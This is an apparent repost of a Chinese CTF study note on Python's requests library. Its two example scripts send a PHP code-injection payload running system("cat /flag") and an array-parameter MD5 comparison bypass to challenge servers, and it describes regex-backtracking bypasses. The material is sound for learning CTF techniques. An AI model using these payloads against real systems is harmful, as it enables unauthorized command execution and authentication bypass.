当前位置: 首页 > article >正文

面向CTF的python_requests库的学习笔记

        看师傅们写的各种脚本羡慕不已,自己却只会一点一点手搓,于是来做个笔记

requests库是干嘛的?

                顾名思义,request就是请求,可以用来向服务器发送请求。它可以代替你在网站上发送请求报文,并接受回应报文。简单来说就是以代码的形式在网站上按回车,是不是很神奇。

                这时候有人可能会疑惑,那我们直接在网站上手搓不也是一样的吗,也可以得到flag,为什么要用request库呢?

                很简单的例子,在BaseCTF_week2的数学大师里,有且只有写脚本一条路。

requests的使用指南

                这里借用一下菜鸟教程

                Python requests 模块 | 菜鸟教程

                

        这里是比较简单的实例,接下来会介绍两种最为常用的方法

        url:是指网站地址,形如http://.........之类的
        data:是post所需要的数据
        json:是参数为要发送到指定 url 的 JSON 对象
        args:是其他参数,比如 cookies、headers、verify等

        params:url中的额外参数

        

        例题一


        题目很简单,直接cat一下就行

        通过代码可以这样实现

import requests  #导入库

url='http://gz.imxbt.cn:20574/' #定义url

data={'DT':'system("cat /flag");'} #定义要传的参数,会变成?system("cat /flag");

res=requests.get(url,params=data) #res接受请求后的参数

print(res.content) #打印内容

        实战中,经常会遇到post和get需要一起请求,但是写两条请求的话,其实是请求了两次
res=requests.get()
res=request.post()   (这里会覆盖上面的,最后就只有post的这条数据)

        如何解决呢?

        其实很简单,get传的参数是可以放在url中的

        下面给出第二道例题

        例题二

        简单的md5,构造脚本如下

import requests #导入

url='http://gz.imxbt.cn:20586/?name[]=1&name2[]=3' #定义url,并写上get参数的数据

data={'password[]':'2','password2[]':'4'} #post的数据

res=requests.post(url,data=data) #接受回应

print(res.text) #打印结果

requests的进阶用法

        这里我要先引入一个函数format()

        format是一个格式化字符串的函数

        通过这个函数我们可以做到一下操作

        聪明人已经知道我要干什么了,没错,这是针对多次回溯绕过正则准备的

(简单来说就是需要传10000次符合正则的字符串,这样就可以绕过)

        如果题目中同时需要post和get,那么我们就只能用requests.post(),然后把get的参数写在url后面。
        这时,如果是post的参数需要多次回溯绕过正则,我们可以在data里自行加上a*10000
        但是,如果是get的参数需要绕过正则呢?

      

        这样就完美解决这个问题了

小结

        request库就记录到这里,其实还远远不够,很多题目都需要一定的代码能力。培养自己的逻辑思维也是十分重要的。


http://www.kler.cn/a/511958.html

相关文章:

  • 【QT】 控件 -- 按钮类(Button)
  • OSI七层协议——分层网络协议
  • 先进制造aps专题二十七 西门子opcenter aps架构分析
  • 财务RPA就是财务机器人吗?有什么作用
  • 学技术学英文:通过jmeter命令行工具生成聚合报告文件到csv文件
  • 力扣-数组-303 区域和检索-数组不可变
  • 二十项零信任相关的前沿和趋势性技术-Extranet as a Service
  • 中国综合算力指数(2024年)报告汇总PDF洞察(附原数据表)
  • C#集合排序指南:掌握自定义排序的多种方法
  • 汇编学习笔记(自用)
  • LLM(3) : 浏览器录制16K的音频并上传到后端
  • UG NX二次开发(C#)-创建三维直线段并倒圆
  • 研1如何准备才能找到大厂实习?
  • Sudo命令的配置及使用
  • 【前端】CSS学习笔记(1)
  • Unity自学之旅01
  • JupyterLab 安装以及部分相关配置
  • WSL 2 自动更新 虚拟 IP 到 window hosts
  • 说说HashMap 的位操作以及HashSet的contains方法复杂度是多少?
  • std::forward实现原理与应用场景
  • Linux之socket编程(上)
  • Excel 技巧14 - 如何批量删除表格中的空行(★)
  • 工业现场数据实时采集:解锁工业智能化转型的关键
  • 深入理解Linux系统内存中文件结构以及缓冲区,模拟实现c语言库文件接口
  • 《重生到现代之从零开始的C++生活》—— 类和对象2
  • 【STM32-学习笔记-14-】FLASH闪存